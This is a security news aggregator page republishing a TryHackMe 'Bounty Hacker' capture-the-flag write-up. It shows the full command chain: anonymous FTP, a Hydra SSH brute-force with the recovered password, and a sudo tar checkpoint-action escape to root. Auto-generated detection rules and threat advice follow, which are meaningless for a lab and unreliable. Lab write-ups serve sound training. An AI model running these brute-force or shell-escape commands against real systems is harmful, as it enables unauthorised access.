Zum Hauptinhalt springen
Echtzeit-Radar & Feeds
Alle RSS Feeds ➔
👥 Community & Social
YouTube Security VideosVisual Studio Code: VS Code Learn: Extending Agents(24.09.2026 um 21:00 Uhr)
•
YouTube Security VideosGoogle Cloud Tech: Turn Audio into Action with Gemini 3.5 Transcribe(24.09.2026 um 21:00 Uhr)
••••
Unix & Linux ServerUSN-8815-1: libass vulnerabilities(24.09.2026 um 16:57 Uhr)
•••••
YouTube Security VideosVisual Studio Code: VS Code Learn: Extending Agents(24.09.2026 um 21:00 Uhr)
•
YouTube Security VideosGoogle Cloud Tech: Turn Audio into Action with Gemini 3.5 Transcribe(24.09.2026 um 21:00 Uhr)
••••
Unix & Linux ServerUSN-8815-1: libass vulnerabilities(24.09.2026 um 16:57 Uhr)
•••••
Intelligence View
⚡ tsecurity.de Intelligence

TryHackMe — Bounty Hacker: The FTP Server Was Talking. I Just Listened.

The web server was a dead end. The real story was sitting on port 21, waiting for anyone who didn’t need a password to find it.You’ve been challenged to prove you’re the most elite hacker in the solar system.The box doesn’t make it hard. It…

0
↗ Quelle (infosecwriteups.com)
Reagiere als Erste:r — dein Feedback zählt!

The web server was a dead end. The real story was sitting on port 21, waiting for anyone who didn’t need a password to find it.

You’ve been challenged to prove you’re the most elite hacker in the solar system.

The box doesn’t make it hard. It makes it honest. No CVEs, no rabbit holes, no bruteforce-for-hours nonsense. Just three ports, two text files, and a tar binary that GTFOBins knows very well.

The machine handed me everything. I just had to know where to look, and what to do when the first shell died immediately.

Let’s get into it.

Reconnaissance

nmap -sC -sV -oN bountyhacker.nmap 10.0.0.5
21/tcp  open  ftp     vsftpd 3.0.5
22/tcp open ssh OpenSSH 8.2p1
80/tcp open http Apache 2.4.41

Three ports. My first instinct was port 80, there’s usually something there. Visited the page, checked source, ran a quick directory scan.

Nothing. A static page with Cowboy Bebop flavor text and zero attack surface.

The web server was bait. Port 21 is where the box actually starts.

FTP — Anonymous and Generous

ftp 10.0.0.5
# Name: anonymous
# Password: [blank]

No credentials needed. Anonymous login accepted immediately.

ls
locks.txt
task.txt

Two files. Downloaded both:

get locks.txt
get task.txt

task.txt opened first, a note signed by lin. Not a hint. A username, handed directly.

locks.txt opened second, a long list of strings that looked like lock combinations. Passwords. A ready-made wordlist sitting on an open FTP server, written by the same person whose name was just signed on the note above it.

The FTP server just gave me a username and a password list in the same breath.

Time to use them.

SSH Bruteforce — Hydra Does the Work

Port 22 is open. Username is lin. Password is somewhere inside locks.txt. The math is simple:

hydra -l lin -P locks.txt ssh://10.0.0.5 -t 4

Hydra chews through the list. One password matches:

[22][ssh] host: 10.0.0.5   login: lin   password: RedDr4gonSynd1cat3
ssh [email protected]
# RedDr4gonSynd1cat3

Shell as lin. user.txt is right there in the home directory.

One flag down. The FTP server gave me everything I needed to get here. I just had to pick it up.

Privilege Escalation — tar, GTFOBins, and a Shell That Didn’t Want to Stay

sudo -l
User lin may run the following commands:
(root) NOPASSWD: /usr/bin/tar

tar with sudo and no password. GTFOBins has this documented under shell escape, the checkpoint-exec technique abuses tar's --checkpoint-action flag to execute arbitrary commands mid-archive operation.

First attempt, straight from GTFOBins:

sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh

Shell spawned. Then died immediately.

The /bin/sh process didn't survive in this environment. Not uncommon, some shells drop instantly depending on how the session is configured. The fix: tell it explicitly to stay alive and do something useful first.

sudo tar -cf /dev/null /root/root.txt --checkpoint=1 --checkpoint-action=exec="bash -c 'cat /root/root.txt; exec /bin/bash'"

This time: flag printed, bash stayed open, root shell confirmed.

whoami
root

The box didn’t expect anyone to refine the command. It expected copy-paste. I refined it.

Bounty Hacker is a room on TryHackMe. This writeup is for educational purposes only. All testing performed on dedicated lab infrastructure with explicit authorization.


TryHackMe — Bounty Hacker: The FTP Server Was Talking. I Just Listened. was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.

CTI Threat Relationship Graph5 Knoten / 4 Relationen
CVE / Incident Software MITRE ATT&CK CWE Weakness IoC
SOC Incident Playbook: Remote Code Execution (RCE) Defense
Syntax validiert (0 Fehler)
title: Detect Exploitation - TryHackMe — Bounty Hacker: The FTP Server Was Talking. I Just Listened.
id: 6e1ab7d6-1d4c-48ad-a598-cc54e2d03b02
status: experimental
description: Automatisch generierte SIEM-Erkennungsregel basierend auf CTI Intelligence
references:
  - https://tsecurity.de/
author: iShareStuff CTI Automated Detection Engine
date: 2026-09-24
logsource:
  category: network_connection
  product: any
detection:
  selection:
      CommandLine|contains:
        - 'exploit'
  condition: selection
falsepositives:
  - Legitime administrative Zugriffe oder Penetrationstests
level: high
tags:
  - attack.initial_access
  - attack.t1068
Syntax validiert (0 Fehler)
rule CTI_Threat_Indicator {
    meta:
        author = "iShareStuff CTI Automated Detection Engine"
        date = "2026-09-24"
        description = "YARA Signature for "
    strings:
        $str = "TryHackMe — Bounty Hacker: The" ascii wide
    condition:
        any of them
}
Syntax validiert (0 Fehler)
index=security sourcetype IN ("cisco:asa", "pan:traffic", "zeek_conn", "suricata", "WinEventLog:Security")
("TryHackMe  Bounty Hacker The FTP Server ")
| stats count earliest(_time) as first_seen latest(_time) as last_seen by src_ip, dest_ip, dest_host, signature
| eval first_seen=strftime(first_seen, "%Y-%m-%d %H:%M:%S"), last_seen=strftime(last_seen, "%Y-%m-%d %H:%M:%S")
| sort - count
Syntax validiert (0 Fehler)
message: "*TryHackMe  Bounty Hacker The FTP Server *"
Syntax validiert (0 Fehler)
CommonSecurityLog
| where Message has "TryHackMe  Bounty Hacker The FTP Server "
| summarize EventCount = count(), FirstSeen = min(TimeGenerated), LastSeen = max(TimeGenerated) by SourceIP, DestinationIP, DestinationPort, Activity
| extend DetectionRule = "iShareStuff-CTI-Compiled"
| sort by EventCount desc
🎯
MITRE ATT&CK Matrix Navigator 14 Taktiken
Identifiziert: T1068Exploitation for Privilege Escalation
Reconnaissance
-
Resource Development
-
Initial Access
Execution
Persistence
-
Privilege Escalation
Defense Evasion
Credential Access
-
Discovery
-
Lateral Movement
-
Collection
-
Command and Control
Exfiltration
-
Impact
tsecurity.de Cognitive Threat RAG
Fokus-Vektor:

Kognitive Analyse für identifizierte Bedrohung: Erhöhte Bedrohungslage im Bereich TryHackMe — Bounty Hacker: The FTP Serve.... Basierend auf 368k Vektor-Korrelationen werden sofortige Isolationsmaßnahmen für betroffene Endpunkte empfohlen.

🛡️ Angriffsfläche & Exposure

Netzwerk/Remote-Zugriff ohne Vorauthentifizierung möglich.

⚡ Empfohlene Sofortmaßnahmen
  • 1. Perimeter-Inspektion: Relevante Portfreigaben und exponierte Endpunkte unverzüglich scannen.
  • 2. Patch-Applikation: Hersteller-Hotfix einspielen oder betroffene Daemons in isolierte DMZ-Segmente überführen.
  • 3. Telemetrie & EDR-Alerts: Prozessaufrufe und Child-Processes auf anomale Shell-Spawns überwachen.
🔗 Semantisch verwandte Zero-Days MariaDB 11.7 VEC
Ähnliche Beiträge
🔍 Verwandte News

Auch interessante Nachrichten TryHackMe — Bounty Hacker: The FTP Server Was Talking. I Just Listened.

Thematisch verwandte Begriffe: TryHackMe, Bounty, Hacker, Server · 6 Treffer

Laden...

Videos werden geladen ...

Laden...

Beiträge werden geladen ...

Laden...

Videos werden geladen ...

Laden...

Beiträge werden geladen ...

Laden...

Videos werden geladen ...

Laden...

Beiträge werden geladen ...

Laden...

Videos werden geladen ...

Laden...

Beiträge werden geladen ...

Laden...

Videos werden geladen ...

Zum Aktualisieren ziehen
ZERO-DAY CVE-2026-61823 | code16 Sharp is a Laravel-based framework for building content-managemen…
Advisory →
tsecurity.de Icon
Offline-Lesen, Eilmeldungen & 0ms Ladezeit

Installiere tsecurity.de direkt auf deinen Home-Bildschirm für das ultimative Vollbild-Magazinerlebnis ohne Browser-Leisten.

Nächster Beitrag
Themen-Radar & Intelligence Matrix
Echtzeit-Taxonomie nach Angriffsvektoren & Plattformen

tsecurity.de Live Threat Radar

🔴 LIVE RADAR
MONITORING
AKTIV
CVE-DATENBANK
LIVE
🔍
Community Radar & Live Chat
Sentinel Bot online • Live-Stream
Dein Cluster: Security Explorer
Match:
lädt…
Verbindung zum Community-Stream wird aufgebaut...
Bearbeitungsmodus — Senden überschreibt deine Nachricht
Community-Puls — was gerade passiert
lädt…
Aktivitäten deiner Analysten
lädt…
Neues Thema oder Eilmeldung einreichen

Reiche interessante Links, Zero-Days oder Debatten ein. Die Community entscheidet per Upvote über die Veröffentlichung.

Heiß diskutierte Einreichungen
📂 Keine gespeicherten Artikel vorhanden.
Zurück Ziehen Vor
Links: vorheriger Artikel • Rechts: nächster Artikel • unten: schließen
News NIS-2 Frühwarnung Tier-1 Intel TTP ⏱️ 3 Min vor 10 Min
Artikeldaten werden geladen...
↗ Original-Quelle